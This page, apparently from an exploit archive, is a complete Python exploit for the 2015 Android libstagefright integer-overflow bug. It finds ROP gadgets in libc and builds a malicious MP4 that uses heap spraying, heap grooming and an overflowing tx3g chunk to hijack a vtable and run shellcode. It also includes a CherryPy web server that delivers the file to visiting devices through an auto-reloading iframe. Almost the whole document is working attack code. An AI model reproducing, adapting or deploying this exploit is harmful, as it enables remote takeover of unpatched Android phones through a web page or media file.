Android libstagefright - Integer Overflow Remote Code Execution

2015-09-17 19:05:32

#!/usr/bin/python2

import cherrypy
import os
import pwnlib.asm as asm
import pwnlib.elf as elf
import sys
import struct


with open('shellcode.bin', 'rb') as tmp:
shellcode = tmp.read()

while len(shellcode) % 4 != 0:
shellcode += '\x00'

# heap grooming configuration
alloc_size = 0x20
groom_count = 0x4
spray_size = 0x100000
spray_count = 0x10

# address of the buffer we allocate for our shellcode
mmap_address = 0x90000000

# addresses that we need to predict
libc_base = 0xb6ebd000
spray_address = 0xb3000000

# ROP gadget addresses
stack_pivot = None
pop_pc = None
pop_r0_r1_r2_r3_pc = None
pop_r4_r5_r6_r7_pc = None
ldr_lr_bx_lr = None
ldr_lr_bx_lr_stack_pad = 0
mmap64 = None
memcpy = None

def find_arm_gadget(e, gadget):
gadget_bytes = asm.asm(gadget, arch='arm')
gadget_address = None
for address in e.search(gadget_bytes):
if address % 4 == 0:
gadget_address = address
if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
break
return gadget_address

def find_thumb_gadget(e, gadget):
gadget_bytes = asm.asm(gadget, arch='thumb')
gadget_address = None
for address in e.search(gadget_bytes):
if address % 2 == 0:
gadget_address = address + 1
if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
break
return gadget_address

def find_gadget(e, gadget):
gadget_address = find_thumb_gadget(e, gadget)
if gadget_address is not None:
return gadget_address
return find_arm_gadget(e, gadget)

def find_rop_gadgets(path):
global memcpy
global mmap64
global stack_pivot
global pop_pc
global pop_r0_r1_r2_r3_pc
global pop_r4_r5_r6_r7_pc
global ldr_lr_bx_lr
global ldr_lr_bx_lr_stack_pad

e = elf.ELF(path)
e.address = libc_base

memcpy = e.symbols['memcpy']
print '[*] memcpy : 0x{:08x}'.format(memcpy)
mmap64 = e.symbols['mmap64']
print '[*] mmap64 : 0x{:08x}'.format(mmap64)

# .text:00013344 ADD R2, R0, #0x4C
# .text:00013348 LDMIA R2, {R4-LR}
# .text:0001334C TEQ SP, #0
# .text:00013350 TEQNE LR, #0
# .text:00013354 BEQ botch_0
# .text:00013358 MOV R0, R1
# .text:0001335C TEQ R0, #0
# .text:00013360 MOVEQ R0, #1
# .text:00013364 BX LR

pivot_asm = ''
pivot_asm += 'add r2, r0, #0x4c\n'
pivot_asm += 'ldmia r2, {r4 - lr}\n'
pivot_asm += 'teq sp, #0\n'
pivot_asm += 'teqne lr, #0'
stack_pivot = find_arm_gadget(e, pivot_asm)
print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)

pop_pc_asm = 'pop {pc}'
pop_pc = find_gadget(e, pop_pc_asm)
print '[*] pop_pc : 0x{:08x}'.format(pop_pc)

pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}')
print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc)

pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)

ldr_lr_bx_lr_stack_pad = 0
for i in range(0, 0x100, 4):
ldr_lr_bx_lr_asm = 'ldr lr, [sp, #0x{:08x}]\n'.format(i)
ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
ldr_lr_bx_lr_asm += 'bx lr'
ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
if ldr_lr_bx_lr is not None:
ldr_lr_bx_lr_stack_pad = i
break

def pad(size):
return '#' * size

def pb32(val):
return struct.pack(">I", val)

def pb64(val):
return struct.pack(">Q", val)

def p32(val):
return struct.pack("<I", val)

def p64(val):
return struct.pack("<Q", val)

def chunk(tag, data, length=0):
if length == 0:
length = len(data) + 8
if length > 0xffffffff:
return pb32(1) + tag + pb64(length)+ data
return pb32(length) + tag + data

def alloc_avcc(size):
avcc = 'A' * size
return chunk('avcC', avcc)

def alloc_hvcc(size):
hvcc = 'H' * size
return chunk('hvcC', hvcc)

def sample_table(data):
stbl = ''
stbl += chunk('stco', '\x00' * 8)
stbl += chunk('stsc', '\x00' * 8)
stbl += chunk('stsz', '\x00' * 12)
stbl += chunk('stts', '\x00' * 8)
stbl += data
return chunk('stbl', stbl)

def memory_leak(size):
pssh = 'leak'
pssh += 'L' * 16
pssh += pb32(size)
pssh += 'L' * size
return chunk('pssh', pssh)

def heap_spray(size):
pssh = 'spry'
pssh += 'S' * 16
pssh += pb32(size)

page = ''

nop = asm.asm('nop', arch='thumb')
while len(page) < 0x100:
page += nop
page += shellcode
while len(page) < 0xed0:
page += '\xcc'

# MPEG4DataSource fake vtable
page += p32(stack_pivot)

# pivot swaps stack then returns to pop {pc}
page += p32(pop_r0_r1_r2_r3_pc)

# mmap64(mmap_address,
# 0x1000,
# PROT_READ | PROT_WRITE | PROT_EXECUTE,
# MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
# -1,
# 0);

page += p32(mmap_address) # r0 = address
page += p32(0x1000) # r1 = size
page += p32(7) # r2 = protection
page += p32(0x32) # r3 = flags
page += p32(ldr_lr_bx_lr) # pc

page += pad(ldr_lr_bx_lr_stack_pad)
page += p32(pop_r4_r5_r6_r7_pc) # lr
page += pad(4)

page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(mmap64) # pc

page += p32(0xffffffff) # fd (and then r4)
page += pad(4) # padding (and then r5)
page += p64(0) # offset (and then r6, r7)
page += p32(pop_r0_r1_r2_r3_pc) # pc

# memcpy(shellcode_address,
# spray_address + len(rop_stack),
# len(shellcode));

page += p32(mmap_address) # r0 = dst
page += p32(spray_address - 0xed0) # r1 = src
page += p32(0xed0) # r2 = size
page += p32(0x33333333) # r3
page += p32(ldr_lr_bx_lr) # pc

page += pad(ldr_lr_bx_lr_stack_pad)
page += p32(pop_r4_r5_r6_r7_pc) # lr
page += pad(4)

page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(memcpy) # pc

page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(mmap_address + 1) # pc

while len(page) < 0x1000:
page += '#'

pssh += page * (size // 0x1000)

return chunk('pssh', pssh)

def exploit_mp4():
ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))

trak = ''

# heap spray so we have somewhere to land our corrupted vtable
# pointer

# yes, we wrap this in a sample_table for a reason; the
# NuCachedSource we will be using otherwise triggers calls to mmap,
# leaving our large allocations non-contiguous and making our chance
# of failure pretty high. wrapping in a sample_table means that we
# wrap the NuCachedSource with an MPEG4Source, making a single
# allocation that caches all the data, doubling our heap spray
# effectiveness :-)
trak += sample_table(heap_spray(spray_size) * spray_count)

# heap groom for our MPEG4DataSource corruption

# get the default size allocations for our MetaData::typed_data
# groom allocations out of the way first, by allocating small blocks
# instead.
trak += alloc_avcc(8)
trak += alloc_hvcc(8)

# we allocate the initial tx3g chunk here; we'll use the integer
# overflow so that the allocated buffer later is smaller than the
# original size of this chunk, then overflow all of the following
# MPEG4DataSource object and the following pssh allocation; hence why
# we will need the extra groom allocation (so we don't overwrite
# anything sensitive...)

# | tx3g | MPEG4DataSource | pssh |
overflow = 'A' * 24

# | tx3g ----------------> | pssh |
overflow += p32(spray_address) # MPEG4DataSource vtable ptr
overflow += '0' * 0x48
overflow += '0000' # r4
overflow += '0000' # r5
overflow += '0000' # r6
overflow += '0000' # r7
overflow += '0000' # r8
overflow += '0000' # r9
overflow += '0000' # r10
overflow += '0000' # r11
overflow += '0000' # r12
overflow += p32(spray_address + 0x20) # sp
overflow += p32(pop_pc) # lr

trak += chunk("tx3g", overflow)

# defragment the for alloc_size blocks, then make our two
# allocations. we end up with a spurious block in the middle, from
# the temporary ABuffer deallocation.

# | pssh | - | pssh |
trak += memory_leak(alloc_size) * groom_count

# | pssh | - | pssh | .... | avcC |
trak += alloc_avcc(alloc_size)

# | pssh | - | pssh | .... | avcC | hvcC |
trak += alloc_hvcc(alloc_size)

# | pssh | - | pssh | pssh | avcC | hvcC | pssh |
trak += memory_leak(alloc_size) * 8

# | pssh | - | pssh | pssh | avcC | .... |
trak += alloc_hvcc(alloc_size * 2)

# entering the stbl chunk triggers allocation of an MPEG4DataSource
# object

# | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |
stbl = ''

# | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |
stbl += alloc_avcc(alloc_size * 2)

# | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |
# | pssh | - | pssh | pssh | tx3g ----------------> |
overflow_length = (-(len(overflow) - 24) & 0xffffffffffffffff)
stbl += chunk("tx3g", '', length = overflow_length)

trak += chunk('stbl', stbl)

return ftyp + chunk('trak', trak)

index_page = '''
<!DOCTYPE html>
<html>
<head>
<title>Stagefrightened!</title>
</head>
<body>
<script>
window.setTimeout('location.reload(true);', 4000);
</script>
<iframe src='/exploit.mp4'></iframe>
</body>
</html>
'''

class ExploitServer(object):

exploit_file = None
exploit_count = 0

@cherrypy.expose
def index(self):
self.exploit_count += 1
print '*' * 80
print 'exploit attempt: ' + str(self.exploit_count)
print '*' * 80
return index_page

@cherrypy.expose(["exploit.mp4"])
def exploit(self):
cherrypy.response.headers['Content-Type'] = 'video/mp4'
cherrypy.response.headers['Content-Encoding'] = 'gzip'

if self.exploit_file is None:
exploit_uncompressed = exploit_mp4()
with open('exploit_uncompressed.mp4', 'wb') as tmp:
tmp.write(exploit_uncompressed)
os.system('gzip exploit_uncompressed.mp4')
with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
self.exploit_file = tmp.read()
os.system('rm exploit_uncompressed.mp4.gz')

return self.exploit_file

def main():
find_rop_gadgets('libc.so')
with open('exploit.mp4', 'wb') as tmp:
tmp.write(exploit_mp4())
cherrypy.quickstart(ExploitServer())

if __name__ == '__main__':
main()

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.